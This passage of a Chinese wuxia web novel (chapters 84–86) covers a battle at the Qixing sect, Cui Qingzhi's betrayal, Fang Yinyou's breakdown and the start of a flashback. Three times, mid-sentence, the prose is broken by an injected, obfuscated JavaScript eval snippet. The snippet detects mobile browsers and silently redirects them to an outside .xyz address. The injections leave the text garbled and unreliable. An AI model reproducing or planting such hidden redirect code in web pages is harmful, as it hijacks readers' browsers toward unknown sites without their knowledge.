昌誉哟一声,装模作样的打量柳扶斐一番。 “不知道这位公子是哪路神仙,听起来倒是个活生生的财神爷在世了。” 柳扶斐得意的挑挑眉,“在下柳傅文,旁的...无可奉告。” 昌誉瞬间无语,他斜眼扫一眼柳扶斐。 “就怕是公子爱面子,都是些自吹自擂的空话。这江湖中,怎么可能有比七星门还阔绰的门派。” 方隐攸抬脚用力的踹向昌誉坐下的竹椅,昌誉一时不察,整个人都跟着竹椅在地上翻了几圈。 “方隐攸!” 昌誉怒不可遏的从地上爬了起来,手指着方隐攸恶狠狠的说到:“这里可是七星门,你是不是太过于狂妄了?” “你太聒噪了。”方隐攸装模作样的掏了掏耳朵,“吵得很。” 昌誉刚想厉声反驳,方隐攸直接抬手阻住他开口,“我此次来是为了杀手屠杀江湖人一事,没工夫和你扯些有的没的。” 昌誉闻言脸色立刻变得凝重起来,他抬手捋平衣裳,扶起椅子坐到方隐攸对面。 “我猜到你会来。” “不过我早已经安排好了一切,只等着那群人来。” 方隐攸点点头,“那就好,我会在此等着他们,到时候我也会祝你一臂之力。” 昌誉呵呵一笑,“就怕你忙没帮到多少,倒是要把我这七星门搬空。” 方隐攸翻了个白眼,剜一眼昌誉,郁闷的问道:“姓昌的,我方隐攸在你眼中竟然是这样的人?” 昌誉但笑不语,抬眼看向方隐攸身后的两人,“你们且说,他是什么样的人?” 柳扶斐将手放在方隐攸肩膀上,朝昌誉炫耀似的挑挑眉,“是世间独一份绝顶的好人。” 昌誉嫌弃的抖抖肩膀,继而看向崔清止,“你说。” 崔清止朝他清浅一笑,温声道:“我亦如此觉得。” 方隐攸朝着昌誉乖张的笑了笑,用剑鞘点了点他的前肩。 “昌誉,是你有眼不识泰山。” 昌誉啧啧几声,朝着亭外的人摆了摆手,“去花园高台备上好酒好菜,今夜我要与这几位不醉不休。” 84.因为江湖中有你 昌誉这人虽吝啬,但是在享乐上却极为铺张浪费,就连摆酒菜的桌子都是纯金镶玉的,还有地上铺的也都是上好的虎皮。 几人才坐下,就看到一个少年着急忙慌的跑了过来,朝着昌誉躬身一拜,急迫的说道:“掌门!外面有许多江湖人求见,说是追着那群杀手而来!” 昌誉猛地一下站了起来,“追着杀手而来?”他与方隐攸相视一眼,“哪里来的杀手?” 方隐攸眼神警惕的环顾四周,七星门周围皆是悬崖峭壁,树都只有零星几颗,若是那群杀手真的来了,会躲到哪里去呢? 昌誉眉头紧锁,朝着那个少年摆了摆手,“放他们进来。” 他看向方隐攸,“这酒肉只能稍后再享用了。” 方隐攸嗯一声,绷着脸看向崔清止,“你武艺不精,去寻个隐蔽处躲起来。” 崔清止点点头,往后退了一步,给他们让出一条路来。 方隐攸朝柳扶斐使了个眼色,两人便与昌誉一道往前院赶去了。 前院的那群江湖人见到方隐攸时皆是又惊又喜,特别是季萧,立刻冲到他面前激动的大笑道:“我就知道!方盟主怎么可能不管我们!” 方隐攸后撤一步,掩在柳扶斐身后,无语的低喃一句,“真是麻烦。” 柳扶斐轻笑一声,握住他的手腕安抚的捏了捏。 昌誉朝季萧使了个眼色,让他安静下来,然后看向人群里面的几个掌门,问道:“你们说是追着杀手而来,可是我却并未——” 昌誉话还未说完,后院中忽然传来几声凄厉的尖叫声,紧随其后便如平地炸起一声惊雷,砰的一声巨响后,一处石楼轰然倒塌,里面顷刻间蹦出无数脸带面具的黑衣人。 “是他们!” 这群江湖人都是从杀手手里九死一生逃出来的,只需一瞥便能认出来,这些人的就是当初扬言要屠尽所以江湖人的罪魁祸首。 方隐攸朝着昌誉大吼一声:“上!” 昌誉抬手吹出一声口哨,七星门内几十幢石楼上屋顶霎时间挤满人,他们手中的长弓拉开,朝着院中的黑衣人迅速射去。 只是很快,便有很多黑衣人跃上楼顶,与他们扭打在了起来。 方隐攸拔剑出鞘,语气凝重的叮嘱柳扶斐,“你的安危最重要,稍后若有颓势,你就先撤。” 柳扶斐嗯一声,拔出腰间长鞭,与他同时跃向后院,陷入厮杀的人群中。 昌誉朝着身后一群脸色惊慌的江湖人喝一声,“你们为何还不动?” 一个中年男人握紧手中长刀,迟疑的往前迈一步又退了回来,“方隐攸...他武功盖世...必然是可以以一敌百的...” 昌誉闻言一惊,怒不可当的瞪着他,“当真是废物!” 深呼一口气后,他还觉不解气,于是猛踹一脚男人,朝着众人吼道:“你们既然不敢上,就给我滚出七星门,别脏了我的地方!” 说罢,他一把拽过身后弟子手中的长枪,转身就朝着后院奔去。 后院中不知何处响起一声长哨,便看到万丈崖峭壁上忽然攀上来许多人,乌泱泱的正提刀往七星门冲来。 前院的一群人见状惊恐的大叫一声,连忙往后院跑去,至少那里有方隐攸,活命的概率还是大些的。 而在后院中的方隐攸自然也听到了这声哨音,他脸色霎时绷紧,朝着身后的柳扶斐大喊一声,“那日吹哨的也是他!” 柳扶斐一鞭子挥开挡在两人之间的黑衣人,迅速贴近他的后背,“他在后院。” 方隐攸嗯一声,眼神警觉地环顾四周,想要找到吹哨之人。 昌誉朝着他们大喊一声,“外面又来了许多杀手!” 方隐攸眉头一皱,心沉了下来,如今他们在崖顶,前后夹击之下犹如瓮中捉鳖,实在是难打。 他沉声道:“你们躲开。” 随后,方隐攸腾空而起,长剑挽起一道剑风,剑峰上闪烁着点点火光,搅得周围长空发出刺耳的鸣响。 “破——” 方隐攸一声怒吼,长剑划破长空,巨大的冲击力从天而降,犹有泰山压顶之势,迅猛而强悍的朝着后院中的众人压下。 此一招不分敌我,所到之处无人能避,目之所及皆是猩红血雾。 竟是死的尸骨无存... 一时间,院中逃过一劫的众人都愣住了,他们都知道方隐攸武艺超群,却从未见过如此杀招。 方隐攸顺势跃上一座石楼屋顶,衣摆腾飞,眼神凶狠如罗刹,他提着剑朝着众人大喝一声:“谁再妄动,我要他死无葬身之地!” 整个七星门瞬间陷入一阵死寂中,方隐攸看向院中的众人,粗略一眼望去,杀手的数量早已经比江湖多上了许多。 方隐攸无语的扫一眼昌誉,让他平时多盯着门众练武不听,非要去打家劫舍,如今倒好,一千余人在别人眼里不过是一脚就能碾死的蚂蚁。 昌誉接收到方隐攸的视线,赧然的抬手挡住脸,不巧的恰好将手腕上那个镶嵌着许多玉石的镯子漏在了方隐攸面前。 方隐攸嫌弃的撇开视线,看向那群姿态提防、眼神警惕的杀手。 “你们杀不了我,这江湖人你们便屠不尽,不如趁早收手。” “我方隐攸向你们保证,只要你们今日退去,绝对无人再追究此事。” 一个黑衣人轻喝一声,提着刀往前一步仰视着方隐攸,“方隐攸,有本事你就杀了我们,反正还有你们这群江湖匪徒作伴,也没什么不好。” 说罢,他朝着身后杀手一挥手,“给我杀!” 方隐攸见状低骂一声,直接闪到他身边一剑了结了他,只是眼下那群杀手也已经不管不顾的和江湖人再次厮杀在了一起。 方隐攸板着脸,只能无奈的持剑再次陷入人群里,一个一个的杀。 昌誉一个扭身,到了方隐攸身后,讨好的说道:“日后!日后我必然让他们用心练功!” 方隐攸呵一声,将人一脚踹开,然后提剑反手一挥,剑气斩断面前几人脖颈后又扭腰正手一挥,再斩断几人脖颈。 忽然,方隐攸瞥见人群中的瘦小子季萧正在腹背受敌,眼看着就要被人从身后一刀砍断脖颈,他立刻过去,反手挑开刀刃后弓步往前一掌将人拍开。 季萧注意到身后动静,回首看到方隐攸,激动的大喊一声,“多谢方盟主!” 方隐攸扯了扯嘴角,提住他的脖颈将人往外面一扔。 “躲起来,这里没你的事!” 季萧摔在地上,还没来得及爬起来,一支长箭便迅速朝他射了过来。 方隐攸见状将可生剑朝着长箭用力一掷,然后腾空而起踩在几个杀手头上朝着可生剑追去。 剑锋刺穿长箭后继续朝前冲,穿过几个杀手的胸膛后被方隐攸稳稳的接住。 方隐攸侧首看向长箭射来的方向,表情瞬间僵住,眼中满是不可置信。 站在楼顶,衣摆轻飘的崔清止朝他露出一个安抚的微笑,手中的长弓再次拉开,箭头直指向在人群中打斗的昌誉。 方隐攸往前一步,用剑指向崔清止,“崔清止,你若是敢,我必杀你。” 崔清止脸上的笑意不减,看着方隐攸的眼神温柔得出奇。 “方隐攸,我这命本来就是你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969384|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杀不杀的,都随你。” 随后,他眼神一凛,弦上的长箭势如破竹的朝着昌誉射来。 方隐攸咬紧牙根,扯过一个杀手往昌誉身前一甩,然后他便如离弦之箭迅速窜向崔清止。 崔清止见状丝毫不慌,反倒是眉眼舒展的朝他张开了手。 方隐攸落到他身前,抬脚踹落他手中弓箭,用力的捏住他的脖颈将人提了起来,“为什么?” 崔清止的脸瞬间涨红,他抬手握住方隐攸的手腕,也不挣扎,只是将手轻轻搭在上面,仿佛是笃定了方隐攸不会真的掐死他。 “你说过,若到了生死关头,不会舍命相救。” “眼下到时候了。” 崔清止抬手指向下面厮杀的人,“杀手不足五百、江湖人一千三百余人,单论数量,我确实赢不了。” 崔清止的眼神变得嫌弃起来,他缓了口气,继续道:“可是这群江湖人懈怠太久了,已经失了血性,也没了狠劲,如蝼蚁般不足为惧。” “方隐攸,不如你与我携手,屠了他们。” 崔清止额间的青筋鼓起,眼眶爬满血丝,但是他却仿佛毫无感觉一般,依旧笑着说道:“江湖中,有你我足以。” “若你觉得过于寂寞,我们可自立门户,收些幼子进来亲自教导,让他们成为一个真正的江湖人。” 方隐攸听罢只觉得崔清止简直是莫名其妙,他郁闷的盯着他,“你是不是有病?” 崔清止干咳几声,呼吸开始变得急促起来,却依旧毫不挣扎的由着方隐攸掐住自己的命门。 “不,我很好。” “是他们有病,病入膏肓,成疯成魔,该杀。” 方隐攸觉得他实在是不可理喻,将人狠狠的砸向屋顶,语气警告的说到:“让他们停手。” 崔清止猛吐一口鲜血,撑着缓慢的爬了起来,他的发丝散乱、衣裳上满是血污,看上去十分狼狈。 他捋平衣裳,看着方隐攸,语气平静而温柔的说到:“停不了了,方隐攸。” “今日,要么是他们死,要么是我死。” 方隐攸嗤笑一声,一脚将人踹下屋顶,然后欺身而上,提着他的立领与他一同落到院中。 他朝着周围的杀手厉声一呵,“住手!否则,我就杀了他!” 出乎意料的是那些杀手竟然无一人在意方隐攸的话,依旧是癫狂的挥刀厮杀。 崔清止长呼一口气,朝着方隐攸露出一个诡异的笑,语气婉转的说道:“方隐攸,没有人可以阻止这场厮杀。” “人事有代谢,往来成古今。这江湖,早该更迭了。” 方隐攸握紧可生剑,不解的望着他,“崔清止,你本无意入江湖,为何还要将江湖搅得天翻地覆?” “因为江湖中有你啊...”崔清止怆然一笑,猩红的眼里快要挤出泪来,“方隐攸,我要为你——” “打造一个完美的江湖。” 方隐攸错愕不已,不懂他为什么会有这种不可思议的想法。 “崔清止!你别说这些冠冕堂皇的话。” 人群中的柳扶斐愤恨的挥出一鞭,将拦在面前的人尽数甩开,然后落到方隐身前将人挡在身后,厌弃的盯着崔清止。 “人都是你杀的,关隐攸什么事,别想着将罪过都推到他身上。” “他若是对如今的江湖不满,自然会去改变这个江湖,哪里需要你用这种极端的办法?” 柳扶斐嗤笑一声,“说到底,不过是你睚眦必报又心思恶毒,只因为家人死在江湖人手中,所以残暴的想要屠尽江湖人而已。” “也仅此而已。” 85.子虚经给我 崔清止闻言脸上扬起一抹阴郁的笑,他并未反驳柳扶斐的话,只将他视若无物,视线越过他后落到方隐攸身上。 “方隐攸,你救不了他们的。” 他温声哄劝道:“我不想伤你,将子虚经给我,我们一同掌控这个江湖。” 方隐攸眼神一变,警惕的盯着他,“你要子虚经做什么?” “自然有我的用处。” “我若不给呢?” “你已然是天下第一刺客,还要那子虚经有何用?” “有没有用,取决于我。” 崔清止叹一口气,眼神变得忧郁起来,“方隐攸,你有心魔对吗?忘记了四年前清明节那日发生的所有事。” 话音一落,方隐攸和柳扶斐的脸色皆是大变。 “你将子虚经给我,我便告诉你那天究竟发生了什么。” 崔清止上前一步,朝方隐攸摊开手,语气变得轻柔又缓慢,还带着祈求的继续道:“好吗?” “你如何会知晓?” 崔清止浅浅一笑,手又往前伸了一寸,“你先将它给我,我再告诉你。” 柳扶斐反手打开他的手腕,长鞭在身前一震,发出一道鸣响,将方隐攸护到身后,虎视眈眈的盯着他。 崔清止不耐的看向柳扶斐,“多管闲事。” 方隐攸盯着崔清止,脑子里闪过诸多猜测,最后笃定的说到:“你投靠那位皇子了,对吗?” “所以你才能号令这么多杀手。” 虽然方隐攸并未说明那人是谁,崔清止却依旧坦然的点点头,“对。” 他侧过身子看向周围厮杀的人,语气感慨的说到:“施亦礼的失败让我明白,想要杀尽江湖人不能指望他们自相残杀,或是靠你失控杀光所有人。” “得靠官府。” 崔清止讥讽一笑,“官抓贼,天经地义。” 方隐攸顿感无语,不想再与他争论些什么,只问道:“他在哪里?” “在一个可以看清楚你的地方。” 方隐攸闻言一愣,然后冷眼环顾四周高处,果不其然在西北角的石楼屋顶上看见了一个带着面具的黑衣人。 就算是隔着十几丈远的距离,方隐攸依旧一眼便认出来了——四年前的那个人,就是他。 方隐攸耳内突然出现一声鸣响,让他不自觉的睁大了眼睛,死死的盯着那个男人,嘴角还不自觉的扬起了诡异的笑意。 只一瞬间,方隐攸浑身的血便沸腾了起来。 “方隐攸,把子虚经给他。”崔清止柔声劝告,“你不是他的对手。” 方隐攸不屑的扯了扯嘴角,神色亢奋的几步跨上高楼,急速朝那人冲了过去。 崔清止看向柳扶斐,“他知道如何让方隐攸失控。” 柳扶斐闻言一惊,转身迅速踩着假山借力后,向上一跃朝着方隐攸追去,却只来得及看到方隐攸如被箭射中的雄鹰,猛地从屋顶跌落,衣袂与青丝腾飞,可生剑在他手中发颤,发出阵阵如泣如诉的声响。 柳扶斐心中惊骇不已,挥动长鞭卷起方隐攸的腰腹,将人带到身前紧紧抱住。 方隐攸浑身发抖,脸色惨白,双眼无神的瞪得老大,嘴里喋喋不休的说着些含糊不清的话,像是入了无法逃脱的梦魇,显得无助又狼狈。 哪里还有半点方才的张扬与不羁。 柳扶斐的心脏像是猛地被人狠狠拽紧,一阵阵的抽痛,连呼吸都满了半拍。 他半蹲在地,将方隐攸护在身前,手轻轻抚拍着他的后背,小心翼翼的低声喊道:“方隐攸,别怕,别怕。” 可是方隐攸却越抖越厉害,牙齿紧紧的咬住下唇,鲜血瞬间就溢出了出来。 柳扶斐慌张的贴近他的唇,替他舔舐干净,哽咽着继续道:“我是柳扶斐,我在,别怕。” 崔清止冷眼看着抱在一起的两人,“把子虚经给我,我会求他放了方隐攸。” 柳扶斐闭着眼,唇齿轻咬一口方隐攸的侧脸,然后仰头朝着崔清止呵呵一笑,“你以为你是谁?” 说罢,他抱紧方隐攸站了起来,视线划过崔清止,看向屋顶的那个男人。 “你竟然敢养这么多杀手,还纵容他们屠杀江湖人,就不怕我将此事禀告圣上吗?” 男人轻笑一声,压着嗓子说道:“那也要看看你有没有机会活着面见圣上。” 话音刚落,他便快如闪电的袭向柳扶斐,手中长剑的剑锋直指着他怀中方隐攸的面门。 柳扶斐连忙后撤,手中长鞭反手一挥,卷住男人执剑的手腕狠狠用力一甩,将他手中的剑震落在地。 男人丝毫不慌,顺势上前滑步,将鞭子卷在右手手臂上,急速靠近两人。 一旁的昌誉见状将手中长枪往男人的方向狠狠一掷,枪尖快速朝着男人的手腕袭来。 男人呵呵一笑,腾空而起,在空中反身一扭,抬脚便将长枪踢开了。 昌誉惊慌的哀嚎一声,“方隐攸!你可别死了!我日后必定好好练武!” 柳扶斐将方隐攸调转到背上背好,一手拽住长鞭,一手握拳朝着男人打去。 男人轻巧的抬手挡住,面具下的眼神变得得意而猖狂,“柳扶斐,你的功夫如何,我难道不清楚吗?” 说罢,他提膝伸腿,狠狠的踹向他的腹部。 柳扶斐伸手护在腹部硬抗下一脚,然后提肘打向他的胸腔,男人游刃有余的握住他的手肘,然后用力一拧。 柳扶斐只觉得整条胳膊瞬间失去了知觉,只能扔了鞭子,背着方隐攸快速往后撤去。 男人见状仰头哈哈大笑一声,手指着柳扶斐轻蔑的说到:“在朝堂之上,我惧你权势地位,可是在这江湖中。” “你不过尔尔。” 柳扶斐咬紧牙根,扭头看向被杀手缠住的死侍,心里有片刻的慌乱。 他反手护住背上的方隐攸,对着男人说道:“我离京之前已经禀明了圣上,若是我此行遭遇不测,无论你是钟季棣还是钟季修,都难逃一死。” “什么?” 男人不可置信的怒吼一声,“他竟然偏爱你至此!” 男人握紧拳头,关节用力到发白,看着柳扶斐的眼神越发怨恨,几乎是咬牙切齿的说到:“我不杀你。” 他手往方隐攸一指,“他必须死,否则难解我心头之恨!” 一旁的崔清止闻言一惊,立刻喊道:“你答应过我,只要子虚经,不要他的性命!” 男人朝着崔清止冷哼一声,“我要如何,哪里轮得到你置喙。” 说罢,他迅速捡起地上的长剑朝着柳扶斐袭来。 柳扶斐背着方隐攸连连后撤,却依旧难以避开他的剑刃,便只能用身躯去接,以免他伤到方隐攸,不一会他身上就已经布满了大大小小的剑伤。 “柳扶斐,你找死吗?” 柳扶斐毫无怯意,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975508|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气冷冽的一字一句道:“我只知除非我死,否则你别想伤他。” 男人气极反笑,长剑挽出一道剑花,带出一股凌厉的杀气。 “既然如此,那就别怪我不客气!” 男人腾空而起,剑锋上裹挟着巨大的冲击力,气势汹汹的刺向柳扶斐背上的方隐攸,这一击,可将两人穿透。 他的速度太过,柳扶斐只来得及将方隐攸从背上转到胸前抱住,这样一来至少是他先死。 “方隐攸!” 崔清止惊恐的大叫一声,提剑就朝着男人刺了过来。 男人见状不躲不避,手中的攻势不减,眼神变得阴狠而嗜血,誓要斩杀这两人。 “主子!” 那群死侍见状也立刻扑了过来,想要用肉身去接下这一击,只是他们距离尚远,速度又不够快,并不能阻止男人手中的长剑下落。 千钧一发之时,柳扶斐怀中的方隐攸失了神的双眼瞬间聚焦,他的眼神变得凶狠而森然。 察觉到正在急速逼近的杀气后,他用力推开柳扶斐,然后手在地上一撑,身姿矫健如豹的腾空而起,劲瘦的腰在空中一挺,侧躺的身躯竖立起来,手中的可生剑毫不犹豫的朝着倒立的男人挥了过去。 男人一惊,偏身避开剑锋,下刺的长剑陷入地下几寸,剑身被压弯后迅速反弹,他在空中翻腾几圈,稳稳地落到了地上。 男人眼神警惕的盯着方隐攸,“没想到你竟然这么快就恢复了。” 方隐攸侧过身,剑锋指着他的面门,浑身上下散发着一股要毁灭一切的暴虐。 “钟季修,今日就是你的死期。” 男人哈哈一笑,抬手拿下脸上的面具,露出那张温润无害的脸,眼神却冰冷无比似腊月寒霜。 他朝着方隐攸挑衅的挑挑眉,“想起来了?” “想起来当初的你是如何被我玩弄于股掌之间?” “想起来你的亲弟弟是如何惨死?” “想起来你的好友、以及他们的门众是如何被你牵连至死?” 钟季修的语气越来越漠然,他眼神一沉,“你竟然敢给我假的秘籍,那他们的死也不算无辜!” 崔清止闻言猛然醒悟过来,他的表情瞬间变得惊愕,他无措的望着方隐攸,“方隐攸,我确实知道那年清明节发生了什么,但是我...” 他手指着钟季修,“我不知道一切皆是因他而起!” “若是我知道...”崔清止悔恨的望着方隐攸,“我必然不会与他同流合污,陷你于如此境地!” 方隐攸脸色阴郁的听着崔清止解释,舌尖滑过唇上的伤痕,嘴里充斥着一股浓郁的血腥味。 他咬紧牙根,按捺住浑身的剧痛,不动声色的缓吐一口长气,尽力的调转内息,来压制住喉咙里那口快要咽不下去的血。 钟季修却像是早已看出了他在硬撑,姿态随意的活动了一下手腕,朝着方隐攸抬抬下颌,笑道:“我的手下告诉我,你的弟弟非常能忍,直到咽气都没有喊一声痛。” “噗——” 方隐攸猛吐一口热血,整个人无力的跪匐在地,可生剑也落到了地上,整个人颓唐的缩成了一圈。 如丧家之犬。 “方隐攸!” 柳扶斐和崔清止同时惊呼出声,立刻朝他扑来过来。 方隐攸却什么都看不清也听不见了,眼前只有宇周被千刀万剐后残破的尸体。 86.四年前的清明1 四年前清明那日的雨并不是从清晨便开始下的。 卯时三刻时,弯如钩的弦月终于东沉,天色昏暗浓稠,一眼望不见边际。 方隐攸此时已经在茅屋面前的院子里练了一个多时辰的剑了,浑身上下都是蒸腾的热气,额前的汗滑到鬓角,汇成一股后从下巴上滴落。 他抖抖肩膀,松了松肩脊上的肌肉,然后摇头晃脑的去屋后面的井里打上一桶水,扑头盖脸的淋到身上。 冲完凉水澡时,朝霞已经十分绚烂,染红了半边天,红似火,朝气蓬勃。 方隐攸瞥见后院里弟弟养的几只胖乎乎的母鸡,朝着厨房里的方宇周高喊一声,“宇周,这鸡能吃啦!” 方宇周从厨房的窗户里望了过来,然后抓起一把红薯籽朝鸡群扔了过去。 鸡群一下子跑散,又一下子聚拢在一起,咯咯几声后都开始迈着小步子啄食。 “哥,我还等着它们下了蛋拿去街上卖呢,哪能现在就吃了。” 方隐攸在心里盘算了一下他得卖多少鸡蛋才能赚回来一只烤鸡的钱,想着若是需要个一年半载的,还不如直接杀了吃掉,比他去街上买一只烤鸡更省钱。 方宇周一眼就猜透了他的心思,无奈的摇了摇头,“哥,明日我就给你杀一只吃,好不好?” 方隐攸朝他嘿嘿一笑,“我来杀,哪能让你沾血。” 兄弟俩都不是什么讲究的人,早上的吃食不过一碗粥一盘咸菜就能对付过去。 方宇周吃饭温吞细致,一口米粥就能嚼半天,还十分霸道的要求方隐攸吃饭也得从容,不能着急忙慌的一口吞。 “哥,医书中有言:食不欲急,急则损脾,法当熟嚼令细。吃的过于匆忙,于脾脏有损。” 方隐攸哦一声,夹起一筷子酱萝卜塞进嘴里,咯嘣咯嘣的咬半天,等到它成了嚼不到的碎渣才咽下肚。 方宇周满意的轻笑一声,“哥,饭后你去帮我到书铺里买一本书吧。” 方隐攸点点头,端起碗灌下大半碗的粥,才想一口咽下,就瞟见宇周正似笑非笑的盯着自己,于是赶忙放下碗,开始慢慢的嚼。 好不容易吃完了早饭,方隐攸拿着方宇周写下的书名就要往外面走,方宇周又叫住了他。 方隐攸将可生剑背到身后,望向站在屋檐下的方宇周。 方宇周缓步而来,白色长袍的衣摆如墨汁荡开,脸上挂着温润的笑意,看着方隐攸的眼神却含着几分担忧。 “哥,千万记得行事莫要过于莽撞,如今江湖上都在传言你手中有盖世秘籍,若是有人起了歹念,必要来抢。” “我知道哥哥的武功卓绝,必然是不惧他们的,可是刀剑无眼,你一点要注意安危。” 自从江湖中起了这等传言之后,每每方隐攸出门方宇周总会仔细叮嘱一番。 不过也确实如此,方隐攸为此已经打退了不知道多少江湖人了,只是他怕方宇周担心,从未告诉过他而已。 方隐攸安静的听完,伸手轻拍他的肩膀,“不用担心,罗浮门与莲花派的掌门与我是至交,没有人敢来岭南找我方隐攸的麻烦。” 方宇周垂眼长叹一口气,清俊的眉眼染了一层愧意,“若是我去年高中,我便可与哥哥在京城安家,也不必再在此处掺和这些江湖事。” 方隐攸微微附身,朝方宇周嬉皮笑脸的说道:“没事,我家宇周学富五车、才高八斗,来年必然会金榜题名。” 方宇周赧然一笑,“昨日里才教给哥哥这么几个词,没想到就派上了用场。”他惆怅的叹了口气:“但愿如此吧。” . 方隐攸的茅屋在郊外,与闹市隔着六七里的距离,方隐攸脚程快,片刻的功夫就能到。 城门口有几个地痞,平日里见了他都会恭恭敬敬的叫一声方大哥。 怕的是方隐攸心情不好时顺手将他们在空中倒挂着抖几下,好不容易揣进兜里的铜板就要落到方隐攸手里去。 不过方隐攸一般不会为难他们,除非是不凑巧的撞上他们欺负弱小,否则只会踹他们一脚,然后告诉他们岭南哪个门派里面最近起了内讧,他们可以趁机去偷点值钱东西。 今日他们的运气有些不好,抬起的脚还没踹到面前那个衣衫褴褛的少年身上,就被方隐攸一脚踢着几丈远,落到黄土地上后滚了几圈才停下来。 领头的一个地痞年岁最长,长得也魁梧,别人都叫他五狗子,比方隐攸大个五六岁,趴在地上缓了一会才被人扶着爬了起来。 他龇牙咧嘴的哎哟几声,按住右边胳膊朝着方隐攸喊道:“方大哥,你误会了!” 方隐攸但笑不语,静静地等着他编。 五狗子脏兮兮的手指往少年一指。 “他就是个无赖,抢了兄弟们的生意不说,还不理人,这不是看不起我五狗子吗,我哪能受这气,所以才教训教训他,让他长个记性。” 五狗子口中的生意是指他们一伙人,拿一个破碗往城门口一蹲,哭天喊地的求着过路人施舍几个铜板。 一天下来,若是有好心人发了善心,便是万事大吉,若是没有好心人,那他们就会直接去偷。 方隐攸碰巧抓到过几次,每每将这群人打的躺在地上哭天喊地后,第二天又会看到他们捧着破碗蹲到城门口。 方隐攸曾问过五狗子,为什么不去拜个门派,在里面至少能混口饭吃。 五狗子闻言十分不屑,说反正都是贼匪,为什么要去门派里面再做贼匪的走狗,不如自己和几个兄弟在一起,更加潇洒快活。 方隐攸一想也是,于是不再劝他。 方隐攸垂眼撇向地上蜷缩成一团的少年,用剑鞘抵住五狗子的肩膀将人往后推。 “你这生意有什么抢不抢的,别人的钱想扔到谁碗里是别人的自由,哪里是你们能决定的?” 五狗子闻言哼一声,埋怨的瞪着少年,“瘦不拉几像一根麻杆似的。” 说着,他抬手猛打几下身边的兄弟,“让你们一个个的少吃点,一身肥膘晃来晃去的,哪里像个乞丐?” 他的几个兄弟默然的往后退一步,避开了他的攻击范围。 方隐攸朝五狗子使了个眼色,“再打他活不了,带着你的人走吧。” 五狗子朝着少年冷哼一声,然后和兄弟们不情愿的走了。 方隐攸用脚踢了踢少年跪在地上的小腿,“起来。” 少年瑟瑟发抖,缩成更小一团。 “没人打你了。” 少年闻言缓慢的抬起头,眼神警惕的望向方隐攸。 他的脸脏兮兮的,方隐攸只能看清他那双黑白分明的眼睛。 方隐攸朝他抬抬下巴,问道:“是个乞丐?” 少年闻言将脸再次埋进臂弯间,留给方隐攸一个脏兮兮的头顶。 方隐攸啧一声,刚想走,忽然瞥见他身下压着的一本破书。 方隐攸下意识的止步,弯腰将人推开后捡起了书,还不等他仔细看书封上的字,那少年忽然窜了起来,然后一把夺过了他手里的书。 少年将书抱在怀里,作出一个防御的姿态,死死的瞪着方隐攸,也是在这时方隐攸才发觉这少年竟然和他差不多高。 “认得字?” 少年沉默不语,身前的手收紧,更加用力的抱紧了那本破书。 方隐攸从怀里拿出宇周写的字条在他面前晃了一圈,“可读过这本书?” 字条上的字迹十分规整,只写了三个大字——《过秦论》。 少年依旧不语,看向方隐攸的眼神却变得探究,像是在仔细思考是否要回答他的这个问题。 方隐攸朝他安抚的笑了笑,“我有个弟弟,稍长你一些,是个有大志向的读书人。” “你若是认得字...”方隐攸凑近他,有商有量的说到:“我便买了你去陪我弟弟读书,如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980752|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少年眉眼一动,有几分心动的模样,可是又很快垂眼摇摇头,“我不想做书生。” 方隐攸有些不解,“为何?书生日后是可以考取功名的,那可是光宗耀祖的大喜事。” “我要为我的家人报仇。” 少年望着方隐攸,眼神变得惆怅起来,语气却十分坚定的说到:“读书无用,得练武。” 方隐攸后撤一步,上下打量着少年,捏住他细长的胳膊在空中晃了晃,“你这细胳膊,能练什么武功?” 少年挣脱方隐攸的手,再次双手环抱在身前,撇过脸不看他。 方隐攸啧啧嘴,问道:“什么仇?” 少年看向城门口腾飞的尘土,咬紧牙根不说话。 “是不得不报的血海深仇吗?” 少年点点头,指甲狠狠的抠在书封上,甲床都变得惨白一片。 方隐攸思忖片刻,抬手捏住他的后颈将人提到一旁树荫下,“那我便指点你一番吧。” 少年闻言不可置信的看着他,眼睛瞪得老大,“你...这是什么意思?” 方隐攸将可生剑悬到腰后,姿态散漫的活动了一下肩脊,笑道:“孤苦伶仃一个瘦小子,身上没有半点功夫,还大言不惭要去为家人报仇。” “这和送死有什么区别?” “让你去陪我弟弟读书你又不愿,也只能教你点功夫了。” 方隐攸伸手按住少年眉心,“不过我只教你一遍,你若记得住那便是个行走江湖的好苗子,若是记不住——” 方隐攸凑近他,恐吓道:“不管你愿不愿意,都得去陪我弟弟苦读学问。” 说罢,方隐攸忽然双手握拳,用双臂将少年的右臂用力夹住,随后顺势而下握住他的右手后将人使劲的摔在地上。 